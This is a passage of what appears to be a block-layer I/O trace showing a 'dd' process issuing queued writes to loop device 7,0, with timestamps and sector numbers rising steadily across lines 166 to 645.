166 0.000525335 0 dd 32506 7,0 W 124 2 1024 Q
167 0.000526686 0 dd 32506 7,0 W 18 2 1024 Q
168 0.000527016 0 dd 32506 7,0 N 0 0 0 U
169 0.000535534 0 dd 32506 7,0 W 126 2 1024 Q
170 0.000536645 0 dd 32506 7,0 W 100 2 1024 Q
171 0.000537035 0 dd 32506 7,0 N 0 0 0 U
172 0.000540501 0 dd 32506 7,0 W 18 2 1024 Q
173 0.000541228 0 dd 32506 7,0 N 0 0 0 U
174 0.000547890 0 dd 32506 7,0 W 126 2 1024 Q
175 0.000549401 0 dd 32506 7,0 W 18 2 1024 Q
176 0.000549769 0 dd 32506 7,0 N 0 0 0 U
177 0.000557027 0 dd 32506 7,0 W 128 2 1024 Q
178 0.000558160 0 dd 32506 7,0 W 100 2 1024 Q
179 0.000558569 0 dd 32506 7,0 N 0 0 0 U
180 0.000562721 0 dd 32506 7,0 W 18 2 1024 Q
181 0.000563438 0 dd 32506 7,0 N 0 0 0 U
182 0.000569788 0 dd 32506 7,0 W 128 2 1024 Q
183 0.000571289 0 dd 32506 7,0 W 18 2 1024 Q
184 0.000574218 0 dd 32506 7,0 N 0 0 0 U
185 0.000581251 0 dd 32506 7,0 W 130 2 1024 Q
186 0.000582346 0 dd 32506 7,0 W 100 2 1024 Q
187 0.000582722 0 dd 32506 7,0 N 0 0 0 U
188 0.000586323 0 dd 32506 7,0 W 18 2 1024 Q
189 0.000587129 0 dd 32506 7,0 N 0 0 0 U
190 0.000592785 0 dd 32506 7,0 W 130 2 1024 Q
191 0.000594080 0 dd 32506 7,0 W 18 2 1024 Q
192 0.000594417 0 dd 32506 7,0 N 0 0 0 U
193 0.000600824 0 dd 32506 7,0 W 132 2 1024 Q
194 0.000601912 0 dd 32506 7,0 W 100 2 1024 Q
195 0.000602313 0 dd 32506 7,0 N 0 0 0 U
196 0.000605981 0 dd 32506 7,0 W 18 2 1024 Q
197 0.000606761 0 dd 32506 7,0 N 0 0 0 U
198 0.000612189 0 dd 32506 7,0 W 132 2 1024 Q
199 0.000613630 0 dd 32506 7,0 W 18 2 1024 Q
200 0.000614023 0 dd 32506 7,0 N 0 0 0 U
201 0.000622876 0 dd 32506 7,0 W 134 2 1024 Q
202 0.000623997 0 dd 32506 7,0 W 100 2 1024 Q
203 0.000624369 0 dd 32506 7,0 N 0 0 0 U
204 0.000627898 0 dd 32506 7,0 W 18 2 1024 Q
205 0.000628637 0 dd 32506 7,0 N 0 0 0 U
206 0.000634736 0 dd 32506 7,0 W 134 2 1024 Q
207 0.000636327 0 dd 32506 7,0 W 18 2 1024 Q
208 0.000636713 0 dd 32506 7,0 N 0 0 0 U
209 0.000643592 0 dd 32506 7,0 W 136 2 1024 Q
210 0.000644740 0 dd 32506 7,0 W 100 2 1024 Q
211 0.000645126 0 dd 32506 7,0 N 0 0 0 U
212 0.000649271 0 dd 32506 7,0 W 18 2 1024 Q
213 0.000650029 0 dd 32506 7,0 N 0 0 0 U
214 0.000656102 0 dd 32506 7,0 W 136 2 1024 Q
215 0.000657449 0 dd 32506 7,0 W 18 2 1024 Q
216 0.000657839 0 dd 32506 7,0 N 0 0 0 U
217 0.000664346 0 dd 32506 7,0 W 138 2 1024 Q
218 0.000665513 0 dd 32506 7,0 W 100 2 1024 Q
219 0.000665922 0 dd 32506 7,0 N 0 0 0 U
220 0.000669665 0 dd 32506 7,0 W 18 2 1024 Q
221 0.000670389 0 dd 32506 7,0 N 0 0 0 U
222 0.000675888 0 dd 32506 7,0 W 138 2 1024 Q
223 0.000677306 0 dd 32506 7,0 W 18 2 1024 Q
224 0.000677719 0 dd 32506 7,0 N 0 0 0 U
225 0.000684853 0 dd 32506 7,0 W 140 2 1024 Q
226 0.000685877 0 dd 32506 7,0 W 100 2 1024 Q
227 0.000686294 0 dd 32506 7,0 N 0 0 0 U
228 0.000689909 0 dd 32506 7,0 W 18 2 1024 Q
229 0.000690810 0 dd 32506 7,0 N 0 0 0 U
230 0.000696264 0 dd 32506 7,0 W 140 2 1024 Q
231 0.000697659 0 dd 32506 7,0 W 18 2 1024 Q
232 0.000698038 0 dd 32506 7,0 N 0 0 0 U
233 0.000706166 0 dd 32506 7,0 W 142 2 1024 Q
234 0.000707303 0 dd 32506 7,0 W 100 2 1024 Q
235 0.000707674 0 dd 32506 7,0 N 0 0 0 U
236 0.000711196 0 dd 32506 7,0 W 18 2 1024 Q
237 0.000711976 0 dd 32506 7,0 N 0 0 0 U
238 0.000718739 0 dd 32506 7,0 W 142 2 1024 Q
239 0.000720499 0 dd 32506 7,0 W 18 2 1024 Q
240 0.000720836 0 dd 32506 7,0 N 0 0 0 U
241 0.000727877 0 dd 32506 7,0 W 144 2 1024 Q
242 0.000729261 0 dd 32506 7,0 W 100 2 1024 Q
243 0.000729733 0 dd 32506 7,0 N 0 0 0 U
244 0.000733616 0 dd 32506 7,0 W 18 2 1024 Q
245 0.000734377 0 dd 32506 7,0 N 0 0 0 U
246 0.000740398 0 dd 32506 7,0 W 144 2 1024 Q
247 0.000741827 0 dd 32506 7,0 W 18 2 1024 Q
248 0.000742179 0 dd 32506 7,0 N 0 0 0 U
249 0.000748657 0 dd 32506 7,0 W 146 2 1024 Q
250 0.000749741 0 dd 32506 7,0 W 100 2 1024 Q
251 0.000750124 0 dd 32506 7,0 N 0 0 0 U
252 0.000753744 0 dd 32506 7,0 W 18 2 1024 Q
253 0.000754557 0 dd 32506 7,0 N 0 0 0 U
254 0.000760041 0 dd 32506 7,0 W 146 2 1024 Q
255 0.000761377 0 dd 32506 7,0 W 18 2 1024 Q
256 0.000761819 0 dd 32506 7,0 N 0 0 0 U
257 0.000768005 0 dd 32506 7,0 W 148 2 1024 Q
258 0.000769149 0 dd 32506 7,0 W 100 2 1024 Q
259 0.000769565 0 dd 32506 7,0 N 0 0 0 U
260 0.000773069 0 dd 32506 7,0 W 18 2 1024 Q
261 0.000773871 0 dd 32506 7,0 N 0 0 0 U
262 0.000779194 0 dd 32506 7,0 W 148 2 1024 Q
263 0.000780567 0 dd 32506 7,0 W 18 2 1024 Q
264 0.000781036 0 dd 32506 7,0 N 0 0 0 U
265 0.000789956 0 dd 32506 7,0 W 150 2 1024 Q
266 0.000791058 0 dd 32506 7,0 W 100 2 1024 Q
267 0.000791411 0 dd 32506 7,0 N 0 0 0 U
268 0.000794918 0 dd 32506 7,0 W 18 2 1024 Q
269 0.000795661 0 dd 32506 7,0 N 0 0 0 U
270 0.000801767 0 dd 32506 7,0 W 150 2 1024 Q
271 0.000803302 0 dd 32506 7,0 W 18 2 1024 Q
272 0.000803688 0 dd 32506 7,0 N 0 0 0 U
273 0.000810372 0 dd 32506 7,0 W 152 2 1024 Q
274 0.000811527 0 dd 32506 7,0 W 100 2 1024 Q
275 0.000811872 0 dd 32506 7,0 N 0 0 0 U
276 0.000815770 0 dd 32506 7,0 W 18 2 1024 Q
277 0.000816482 0 dd 32506 7,0 N 0 0 0 U
278 0.000822608 0 dd 32506 7,0 W 152 2 1024 Q
279 0.000823965 0 dd 32506 7,0 W 18 2 1024 Q
280 0.000824322 0 dd 32506 7,0 N 0 0 0 U
281 0.000830849 0 dd 32506 7,0 W 154 2 1024 Q
282 0.000831974 0 dd 32506 7,0 W 100 2 1024 Q
283 0.000832327 0 dd 32506 7,0 N 0 0 0 U
284 0.000835875 0 dd 32506 7,0 W 18 2 1024 Q
285 0.000836576 0 dd 32506 7,0 N 0 0 0 U
286 0.000842034 0 dd 32506 7,0 W 154 2 1024 Q
287 0.000843411 0 dd 32506 7,0 W 18 2 1024 Q
288 0.000843745 0 dd 32506 7,0 N 0 0 0 U
289 0.000850635 0 dd 32506 7,0 W 156 2 1024 Q
290 0.000851644 0 dd 32506 7,0 W 100 2 1024 Q
291 0.000852057 0 dd 32506 7,0 N 0 0 0 U
292 0.000855590 0 dd 32506 7,0 W 18 2 1024 Q
293 0.000856314 0 dd 32506 7,0 N 0 0 0 U
294 0.000861790 0 dd 32506 7,0 W 156 2 1024 Q
295 0.000863096 0 dd 32506 7,0 W 18 2 1024 Q
296 0.000863418 0 dd 32506 7,0 N 0 0 0 U
297 0.000871918 0 dd 32506 7,0 W 158 2 1024 Q
298 0.000873017 0 dd 32506 7,0 W 100 2 1024 Q
299 0.000873370 0 dd 32506 7,0 N 0 0 0 U
300 0.000876832 0 dd 32506 7,0 W 18 2 1024 Q
301 0.000877529 0 dd 32506 7,0 N 0 0 0 U
302 0.000884405 0 dd 32506 7,0 W 158 2 1024 Q
303 0.000885887 0 dd 32506 7,0 W 18 2 1024 Q
304 0.000886303 0 dd 32506 7,0 N 0 0 0 U
305 0.000893543 0 dd 32506 7,0 W 160 2 1024 Q
306 0.000894608 0 dd 32506 7,0 W 100 2 1024 Q
307 0.000895054 0 dd 32506 7,0 N 0 0 0 U
308 0.000899090 0 dd 32506 7,0 W 18 2 1024 Q
309 0.000899807 0 dd 32506 7,0 N 0 0 0 U
310 0.000905774 0 dd 32506 7,0 W 160 2 1024 Q
311 0.000907185 0 dd 32506 7,0 W 18 2 1024 Q
312 0.000907582 0 dd 32506 7,0 N 0 0 0 U
313 0.000914019 0 dd 32506 7,0 W 162 2 1024 Q
314 0.000915081 0 dd 32506 7,0 W 100 2 1024 Q
315 0.000915448 0 dd 32506 7,0 N 0 0 0 U
316 0.000919274 0 dd 32506 7,0 W 18 2 1024 Q
317 0.000920080 0 dd 32506 7,0 N 0 0 0 U
318 0.000925632 0 dd 32506 7,0 W 162 2 1024 Q
319 0.000926971 0 dd 32506 7,0 W 18 2 1024 Q
320 0.000927331 0 dd 32506 7,0 N 0 0 0 U
321 0.000933704 0 dd 32506 7,0 W 164 2 1024 Q
322 0.000934837 0 dd 32506 7,0 W 100 2 1024 Q
323 0.000935231 0 dd 32506 7,0 N 0 0 0 U
324 0.000938828 0 dd 32506 7,0 W 18 2 1024 Q
325 0.000939619 0 dd 32506 7,0 N 0 0 0 U
326 0.000944946 0 dd 32506 7,0 W 164 2 1024 Q
327 0.000946364 0 dd 32506 7,0 W 18 2 1024 Q
328 0.000946682 0 dd 32506 7,0 N 0 0 0 U
329 0.000956071 0 dd 32506 7,0 W 166 2 1024 Q
330 0.000957208 0 dd 32506 7,0 W 100 2 1024 Q
331 0.000957564 0 dd 32506 7,0 N 0 0 0 U
332 0.000961101 0 dd 32506 7,0 W 18 2 1024 Q
333 0.000961896 0 dd 32506 7,0 N 0 0 0 U
334 0.000968052 0 dd 32506 7,0 W 166 2 1024 Q
335 0.000969747 0 dd 32506 7,0 W 18 2 1024 Q
336 0.000970107 0 dd 32506 7,0 N 0 0 0 U
337 0.000976690 0 dd 32506 7,0 W 168 2 1024 Q
338 0.000977879 0 dd 32506 7,0 W 100 2 1024 Q
339 0.000978255 0 dd 32506 7,0 N 0 0 0 U
340 0.000982272 0 dd 32506 7,0 W 18 2 1024 Q
341 0.000983078 0 dd 32506 7,0 N 0 0 0 U
342 0.000989121 0 dd 32506 7,0 W 168 2 1024 Q
343 0.000990513 0 dd 32506 7,0 W 18 2 1024 Q
344 0.000990843 0 dd 32506 7,0 N 0 0 0 U
345 0.000997358 0 dd 32506 7,0 W 170 2 1024 Q
346 0.000998468 0 dd 32506 7,0 W 100 2 1024 Q
347 0.000998862 0 dd 32506 7,0 N 0 0 0 U
348 0.001002553 0 dd 32506 7,0 W 18 2 1024 Q
349 0.001003251 0 dd 32506 7,0 N 0 0 0 U
350 0.001008806 0 dd 32506 7,0 W 170 2 1024 Q
351 0.001010190 0 dd 32506 7,0 W 18 2 1024 Q
352 0.001010517 0 dd 32506 7,0 N 0 0 0 U
353 0.001017576 0 dd 32506 7,0 W 172 2 1024 Q
354 0.001018581 0 dd 32506 7,0 W 100 2 1024 Q
355 0.001018960 0 dd 32506 7,0 N 0 0 0 U
356 0.001022614 0 dd 32506 7,0 W 18 2 1024 Q
357 0.001023416 0 dd 32506 7,0 N 0 0 0 U
358 0.001029050 0 dd 32506 7,0 W 172 2 1024 Q
359 0.001030401 0 dd 32506 7,0 W 18 2 1024 Q
360 0.001030794 0 dd 32506 7,0 N 0 0 0 U
361 0.001039227 0 dd 32506 7,0 W 174 2 1024 Q
362 0.001040352 0 dd 32506 7,0 W 100 2 1024 Q
363 0.001040712 0 dd 32506 7,0 N 0 0 0 U
364 0.001044163 0 dd 32506 7,0 W 18 2 1024 Q
365 0.001044920 0 dd 32506 7,0 N 0 0 0 U
366 0.001051654 0 dd 32506 7,0 W 174 2 1024 Q
367 0.001053177 0 dd 32506 7,0 W 18 2 1024 Q
368 0.001053544 0 dd 32506 7,0 N 0 0 0 U
369 0.001060859 0 dd 32506 7,0 W 176 2 1024 Q
370 0.001061886 0 dd 32506 7,0 W 100 2 1024 Q
371 0.001062243 0 dd 32506 7,0 N 0 0 0 U
372 0.001066354 0 dd 32506 7,0 W 18 2 1024 Q
373 0.001067093 0 dd 32506 7,0 N 0 0 0 U
374 0.001073132 0 dd 32506 7,0 W 176 2 1024 Q
375 0.001074546 0 dd 32506 7,0 W 18 2 1024 Q
376 0.001074921 0 dd 32506 7,0 N 0 0 0 U
377 0.001081387 0 dd 32506 7,0 W 178 2 1024 Q
378 0.001082445 0 dd 32506 7,0 W 100 2 1024 Q
379 0.001082802 0 dd 32506 7,0 N 0 0 0 U
380 0.001086459 0 dd 32506 7,0 W 18 2 1024 Q
381 0.001087209 0 dd 32506 7,0 N 0 0 0 U
382 0.001092798 0 dd 32506 7,0 W 178 2 1024 Q
383 0.001094115 0 dd 32506 7,0 W 18 2 1024 Q
384 0.001094501 0 dd 32506 7,0 N 0 0 0 U
385 0.001100953 0 dd 32506 7,0 W 180 2 1024 Q
386 0.001102052 0 dd 32506 7,0 W 100 2 1024 Q
387 0.001102490 0 dd 32506 7,0 N 0 0 0 U
388 0.001106039 0 dd 32506 7,0 W 18 2 1024 Q
389 0.001106842 0 dd 32506 7,0 N 0 0 0 U
390 0.001112258 0 dd 32506 7,0 W 180 2 1024 Q
391 0.001113691 0 dd 32506 7,0 W 18 2 1024 Q
392 0.001114010 0 dd 32506 7,0 N 0 0 0 U
393 0.001123012 0 dd 32506 7,0 W 182 2 1024 Q
394 0.001124235 0 dd 32506 7,0 W 100 2 1024 Q
395 0.001124603 0 dd 32506 7,0 N 0 0 0 U
396 0.001128091 0 dd 32506 7,0 W 18 2 1024 Q
397 0.001128890 0 dd 32506 7,0 N 0 0 0 U
398 0.001135015 0 dd 32506 7,0 W 182 2 1024 Q
399 0.001136673 0 dd 32506 7,0 W 18 2 1024 Q
400 0.001137093 0 dd 32506 7,0 N 0 0 0 U
401 0.001143691 0 dd 32506 7,0 W 184 2 1024 Q
402 0.001144865 0 dd 32506 7,0 W 100 2 1024 Q
403 0.001145237 0 dd 32506 7,0 N 0 0 0 U
404 0.001149168 0 dd 32506 7,0 W 18 2 1024 Q
405 0.001149997 0 dd 32506 7,0 N 0 0 0 U
406 0.001156051 0 dd 32506 7,0 W 184 2 1024 Q
407 0.001157405 0 dd 32506 7,0 W 18 2 1024 Q
408 0.001157742 0 dd 32506 7,0 N 0 0 0 U
409 0.001164104 0 dd 32506 7,0 W 186 2 1024 Q
410 0.001165136 0 dd 32506 7,0 W 100 2 1024 Q
411 0.001165488 0 dd 32506 7,0 N 0 0 0 U
412 0.001169277 0 dd 32506 7,0 W 18 2 1024 Q
413 0.001169986 0 dd 32506 7,0 N 0 0 0 U
414 0.001175518 0 dd 32506 7,0 W 186 2 1024 Q
415 0.001176861 0 dd 32506 7,0 W 18 2 1024 Q
416 0.001177214 0 dd 32506 7,0 N 0 0 0 U
417 0.001184224 0 dd 32506 7,0 W 188 2 1024 Q
418 0.001185282 0 dd 32506 7,0 W 100 2 1024 Q
419 0.001185762 0 dd 32506 7,0 N 0 0 0 U
420 0.001189164 0 dd 32506 7,0 W 18 2 1024 Q
421 0.001189978 0 dd 32506 7,0 N 0 0 0 U
422 0.001195440 0 dd 32506 7,0 W 188 2 1024 Q
423 0.001196794 0 dd 32506 7,0 W 18 2 1024 Q
424 0.001197124 0 dd 32506 7,0 N 0 0 0 U
425 0.001205252 0 dd 32506 7,0 W 190 2 1024 Q
426 0.001206351 0 dd 32506 7,0 W 100 2 1024 Q
427 0.001206700 0 dd 32506 7,0 N 0 0 0 U
428 0.001210237 0 dd 32506 7,0 W 18 2 1024 Q
429 0.001210946 0 dd 32506 7,0 N 0 0 0 U
430 0.001217544 0 dd 32506 7,0 W 190 2 1024 Q
431 0.001219303 0 dd 32506 7,0 W 18 2 1024 Q
432 0.001219667 0 dd 32506 7,0 N 0 0 0 U
433 0.001226663 0 dd 32506 7,0 W 192 2 1024 Q
434 0.001227725 0 dd 32506 7,0 W 100 2 1024 Q
435 0.001228126 0 dd 32506 7,0 N 0 0 0 U
436 0.001232196 0 dd 32506 7,0 W 18 2 1024 Q
437 0.001232927 0 dd 32506 7,0 N 0 0 0 U
438 0.001238899 0 dd 32506 7,0 W 192 2 1024 Q
439 0.001240335 0 dd 32506 7,0 W 18 2 1024 Q
440 0.001240804 0 dd 32506 7,0 N 0 0 0 U
441 0.001247218 0 dd 32506 7,0 W 194 2 1024 Q
442 0.001248283 0 dd 32506 7,0 W 100 2 1024 Q
443 0.001248647 0 dd 32506 7,0 N 0 0 0 U
444 0.001252147 0 dd 32506 7,0 W 18 2 1024 Q
445 0.001252905 0 dd 32506 7,0 N 0 0 0 U
446 0.001258377 0 dd 32506 7,0 W 194 2 1024 Q
447 0.001259709 0 dd 32506 7,0 W 18 2 1024 Q
448 0.001260092 0 dd 32506 7,0 N 0 0 0 U
449 0.001266461 0 dd 32506 7,0 W 196 2 1024 Q
450 0.001267563 0 dd 32506 7,0 W 100 2 1024 Q
451 0.001267927 0 dd 32506 7,0 N 0 0 0 U
452 0.001271506 0 dd 32506 7,0 W 18 2 1024 Q
453 0.001272241 0 dd 32506 7,0 N 0 0 0 U
454 0.001277703 0 dd 32506 7,0 W 196 2 1024 Q
455 0.001279068 0 dd 32506 7,0 W 18 2 1024 Q
456 0.001279417 0 dd 32506 7,0 N 0 0 0 U
457 0.001289691 0 dd 32506 7,0 W 198 2 1024 Q
458 0.001290853 0 dd 32506 7,0 W 100 2 1024 Q
459 0.001291300 0 dd 32506 7,0 N 0 0 0 U
460 0.001294743 0 dd 32506 7,0 W 18 2 1024 Q
461 0.001295557 0 dd 32506 7,0 N 0 0 0 U
462 0.001301791 0 dd 32506 7,0 W 198 2 1024 Q
463 0.001303247 0 dd 32506 7,0 W 18 2 1024 Q
464 0.001303663 0 dd 32506 7,0 N 0 0 0 U
465 0.001310554 0 dd 32506 7,0 W 200 2 1024 Q
466 0.001311630 0 dd 32506 7,0 W 100 2 1024 Q
467 0.001311994 0 dd 32506 7,0 N 0 0 0 U
468 0.001316184 0 dd 32506 7,0 W 18 2 1024 Q
469 0.001316998 0 dd 32506 7,0 N 0 0 0 U
470 0.001323108 0 dd 32506 7,0 W 200 2 1024 Q
471 0.001324548 0 dd 32506 7,0 W 18 2 1024 Q
472 0.001324935 0 dd 32506 7,0 N 0 0 0 U
473 0.001331675 0 dd 32506 7,0 W 202 2 1024 Q
474 0.001332785 0 dd 32506 7,0 W 100 2 1024 Q
475 0.001333213 0 dd 32506 7,0 N 0 0 0 U
476 0.001336814 0 dd 32506 7,0 W 18 2 1024 Q
477 0.001337538 0 dd 32506 7,0 N 0 0 0 U
478 0.001343045 0 dd 32506 7,0 W 202 2 1024 Q
479 0.001344451 0 dd 32506 7,0 W 18 2 1024 Q
480 0.001344901 0 dd 32506 7,0 N 0 0 0 U
481 0.001351717 0 dd 32506 7,0 W 204 2 1024 Q
482 0.001352771 0 dd 32506 7,0 W 100 2 1024 Q
483 0.001353262 0 dd 32506 7,0 N 0 0 0 U
484 0.001356871 0 dd 32506 7,0 W 18 2 1024 Q
485 0.001357692 0 dd 32506 7,0 N 0 0 0 U
486 0.001371105 0 dd 32506 7,0 W 204 2 1024 Q
487 0.001372448 0 dd 32506 7,0 W 18 2 1024 Q
488 0.001372797 0 dd 32506 7,0 N 0 0 0 U
489 0.001382598 0 dd 32506 7,0 W 206 2 1024 Q
490 0.001383713 0 dd 32506 7,0 W 100 2 1024 Q
491 0.001384114 0 dd 32506 7,0 N 0 0 0 U
492 0.001387689 0 dd 32506 7,0 W 18 2 1024 Q
493 0.001388420 0 dd 32506 7,0 N 0 0 0 U
494 0.001395243 0 dd 32506 7,0 W 206 2 1024 Q
495 0.001396744 0 dd 32506 7,0 W 18 2 1024 Q
496 0.001397145 0 dd 32506 7,0 N 0 0 0 U
497 0.001404185 0 dd 32506 7,0 W 208 2 1024 Q
498 0.001405213 0 dd 32506 7,0 W 100 2 1024 Q
499 0.001405614 0 dd 32506 7,0 N 0 0 0 U
500 0.001409669 0 dd 32506 7,0 W 18 2 1024 Q
501 0.001410401 0 dd 32506 7,0 N 0 0 0 U
502 0.001416421 0 dd 32506 7,0 W 208 2 1024 Q
503 0.001417794 0 dd 32506 7,0 W 18 2 1024 Q
504 0.001418117 0 dd 32506 7,0 N 0 0 0 U
505 0.001424733 0 dd 32506 7,0 W 210 2 1024 Q
506 0.001425817 0 dd 32506 7,0 W 100 2 1024 Q
507 0.001426162 0 dd 32506 7,0 N 0 0 0 U
508 0.001429977 0 dd 32506 7,0 W 18 2 1024 Q
509 0.001430783 0 dd 32506 7,0 N 0 0 0 U
510 0.001436324 0 dd 32506 7,0 W 210 2 1024 Q
511 0.001437715 0 dd 32506 7,0 W 18 2 1024 Q
512 0.001438098 0 dd 32506 7,0 N 0 0 0 U
513 0.001444373 0 dd 32506 7,0 W 212 2 1024 Q
514 0.001445495 0 dd 32506 7,0 W 100 2 1024 Q
515 0.001445919 0 dd 32506 7,0 N 0 0 0 U
516 0.001449415 0 dd 32506 7,0 W 18 2 1024 Q
517 0.001450225 0 dd 32506 7,0 N 0 0 0 U
518 0.001455559 0 dd 32506 7,0 W 212 2 1024 Q
519 0.001456890 0 dd 32506 7,0 W 18 2 1024 Q
520 0.001457277 0 dd 32506 7,0 N 0 0 0 U
521 0.001465915 0 dd 32506 7,0 W 214 2 1024 Q
522 0.001467052 0 dd 32506 7,0 W 100 2 1024 Q
523 0.001467423 0 dd 32506 7,0 N 0 0 0 U
524 0.001471054 0 dd 32506 7,0 W 18 2 1024 Q
525 0.001471819 0 dd 32506 7,0 N 0 0 0 U
526 0.001477978 0 dd 32506 7,0 W 214 2 1024 Q
527 0.001479779 0 dd 32506 7,0 W 18 2 1024 Q
528 0.001480154 0 dd 32506 7,0 N 0 0 0 U
529 0.001486662 0 dd 32506 7,0 W 216 2 1024 Q
530 0.001487821 0 dd 32506 7,0 W 100 2 1024 Q
531 0.001488170 0 dd 32506 7,0 N 0 0 0 U
532 0.001492386 0 dd 32506 7,0 W 18 2 1024 Q
533 0.001493091 0 dd 32506 7,0 N 0 0 0 U
534 0.001499044 0 dd 32506 7,0 W 216 2 1024 Q
535 0.001500402 0 dd 32506 7,0 W 18 2 1024 Q
536 0.001500732 0 dd 32506 7,0 N 0 0 0 U
537 0.001507367 0 dd 32506 7,0 W 218 2 1024 Q
538 0.001508448 0 dd 32506 7,0 W 100 2 1024 Q
539 0.001508819 0 dd 32506 7,0 N 0 0 0 U
540 0.001512514 0 dd 32506 7,0 W 18 2 1024 Q
541 0.001513331 0 dd 32506 7,0 N 0 0 0 U
542 0.001518875 0 dd 32506 7,0 W 218 2 1024 Q
543 0.001520319 0 dd 32506 7,0 W 18 2 1024 Q
544 0.001520642 0 dd 32506 7,0 N 0 0 0 U
545 0.001527686 0 dd 32506 7,0 W 220 2 1024 Q
546 0.001528721 0 dd 32506 7,0 W 100 2 1024 Q
547 0.001529145 0 dd 32506 7,0 N 0 0 0 U
548 0.001532833 0 dd 32506 7,0 W 18 2 1024 Q
549 0.001533598 0 dd 32506 7,0 N 0 0 0 U
550 0.001539071 0 dd 32506 7,0 W 220 2 1024 Q
551 0.001540436 0 dd 32506 7,0 W 18 2 1024 Q
552 0.001540759 0 dd 32506 7,0 N 0 0 0 U
553 0.001549479 0 dd 32506 7,0 W 222 2 1024 Q
554 0.001550695 0 dd 32506 7,0 W 100 2 1024 Q
555 0.001551044 0 dd 32506 7,0 N 0 0 0 U
556 0.001554502 0 dd 32506 7,0 W 18 2 1024 Q
557 0.001555305 0 dd 32506 7,0 N 0 0 0 U
558 0.001563913 0 dd 32506 7,0 W 222 2 1024 Q
559 0.001565500 0 dd 32506 7,0 W 18 2 1024 Q
560 0.001565845 0 dd 32506 7,0 N 0 0 0 U
561 0.001574671 0 dd 32506 7,0 W 224 2 1024 Q
562 0.001575931 0 dd 32506 7,0 W 100 2 1024 Q
563 0.001576366 0 dd 32506 7,0 N 0 0 0 U
564 0.001580395 0 dd 32506 7,0 W 18 2 1024 Q
565 0.001581160 0 dd 32506 7,0 N 0 0 0 U
566 0.001587289 0 dd 32506 7,0 W 224 2 1024 Q
567 0.001588703 0 dd 32506 7,0 W 18 2 1024 Q
568 0.001589056 0 dd 32506 7,0 N 0 0 0 U
569 0.001595654 0 dd 32506 7,0 W 226 2 1024 Q
570 0.001596689 0 dd 32506 7,0 W 100 2 1024 Q
571 0.001597042 0 dd 32506 7,0 N 0 0 0 U
572 0.001600695 0 dd 32506 7,0 W 18 2 1024 Q
573 0.001601457 0 dd 32506 7,0 N 0 0 0 U
574 0.001606952 0 dd 32506 7,0 W 226 2 1024 Q
575 0.001608321 0 dd 32506 7,0 W 18 2 1024 Q
576 0.001608647 0 dd 32506 7,0 N 0 0 0 U
577 0.001615065 0 dd 32506 7,0 W 228 2 1024 Q
578 0.001616168 0 dd 32506 7,0 W 100 2 1024 Q
579 0.001616596 0 dd 32506 7,0 N 0 0 0 U
580 0.001620328 0 dd 32506 7,0 W 18 2 1024 Q
581 0.001621112 0 dd 32506 7,0 N 0 0 0 U
582 0.001626528 0 dd 32506 7,0 W 228 2 1024 Q
583 0.001627890 0 dd 32506 7,0 W 18 2 1024 Q
584 0.001628224 0 dd 32506 7,0 N 0 0 0 U
585 0.001636874 0 dd 32506 7,0 W 230 2 1024 Q
586 0.001637999 0 dd 32506 7,0 W 100 2 1024 Q
587 0.001638396 0 dd 32506 7,0 N 0 0 0 U
588 0.001641911 0 dd 32506 7,0 W 18 2 1024 Q
589 0.001642706 0 dd 32506 7,0 N 0 0 0 U
590 0.001648985 0 dd 32506 7,0 W 230 2 1024 Q
591 0.001650497 0 dd 32506 7,0 W 18 2 1024 Q
592 0.001650917 0 dd 32506 7,0 N 0 0 0 U
593 0.001657695 0 dd 32506 7,0 W 232 2 1024 Q
594 0.001658832 0 dd 32506 7,0 W 100 2 1024 Q
595 0.001659218 0 dd 32506 7,0 N 0 0 0 U
596 0.001663179 0 dd 32506 7,0 W 18 2 1024 Q
597 0.001663989 0 dd 32506 7,0 N 0 0 0 U
598 0.001670040 0 dd 32506 7,0 W 232 2 1024 Q
599 0.001671458 0 dd 32506 7,0 W 18 2 1024 Q
600 0.001671821 0 dd 32506 7,0 N 0 0 0 U
601 0.001678412 0 dd 32506 7,0 W 234 2 1024 Q
602 0.001679481 0 dd 32506 7,0 W 100 2 1024 Q
603 0.001679897 0 dd 32506 7,0 N 0 0 0 U
604 0.001683704 0 dd 32506 7,0 W 18 2 1024 Q
605 0.001684451 0 dd 32506 7,0 N 0 0 0 U
606 0.001689987 0 dd 32506 7,0 W 234 2 1024 Q
607 0.001691409 0 dd 32506 7,0 W 18 2 1024 Q
608 0.001691870 0 dd 32506 7,0 N 0 0 0 U
609 0.001698611 0 dd 32506 7,0 W 236 2 1024 Q
610 0.001699657 0 dd 32506 7,0 W 100 2 1024 Q
611 0.001700141 0 dd 32506 7,0 N 0 0 0 U
612 0.001703791 0 dd 32506 7,0 W 18 2 1024 Q
613 0.001704556 0 dd 32506 7,0 N 0 0 0 U
614 0.001710006 0 dd 32506 7,0 W 236 2 1024 Q
615 0.001711390 0 dd 32506 7,0 W 18 2 1024 Q
616 0.001711769 0 dd 32506 7,0 N 0 0 0 U
617 0.001720366 0 dd 32506 7,0 W 238 2 1024 Q
618 0.001721556 0 dd 32506 7,0 W 100 2 1024 Q
619 0.001721904 0 dd 32506 7,0 N 0 0 0 U
620 0.001725487 0 dd 32506 7,0 W 18 2 1024 Q
621 0.001726278 0 dd 32506 7,0 N 0 0 0 U
622 0.001732910 0 dd 32506 7,0 W 238 2 1024 Q
623 0.001734616 0 dd 32506 7,0 W 18 2 1024 Q
624 0.001734958 0 dd 32506 7,0 N 0 0 0 U
625 0.001741946 0 dd 32506 7,0 W 240 2 1024 Q
626 0.001742977 0 dd 32506 7,0 W 100 2 1024 Q
627 0.001743375 0 dd 32506 7,0 N 0 0 0 U
628 0.001747411 0 dd 32506 7,0 W 18 2 1024 Q
629 0.001748124 0 dd 32506 7,0 N 0 0 0 U
630 0.001754069 0 dd 32506 7,0 W 240 2 1024 Q
631 0.001755494 0 dd 32506 7,0 W 18 2 1024 Q
632 0.001755926 0 dd 32506 7,0 N 0 0 0 U
633 0.001762351 0 dd 32506 7,0 W 242 2 1024 Q
634 0.001763416 0 dd 32506 7,0 W 100 2 1024 Q
635 0.001763844 0 dd 32506 7,0 N 0 0 0 U
636 0.001767393 0 dd 32506 7,0 W 18 2 1024 Q
637 0.001768248 0 dd 32506 7,0 N 0 0 0 U
638 0.001773765 0 dd 32506 7,0 W 242 2 1024 Q
639 0.001775116 0 dd 32506 7,0 W 18 2 1024 Q
640 0.001775543 0 dd 32506 7,0 N 0 0 0 U
641 0.001781804 0 dd 32506 7,0 W 244 2 1024 Q
642 0.001782937 0 dd 32506 7,0 W 100 2 1024 Q
643 0.001783417 0 dd 32506 7,0 N 0 0 0 U
644 0.001786845 0 dd 32506 7,0 W 18 2 1024 Q
645 0.001787648 0 dd 32506 7,0 N 0 0 0 U
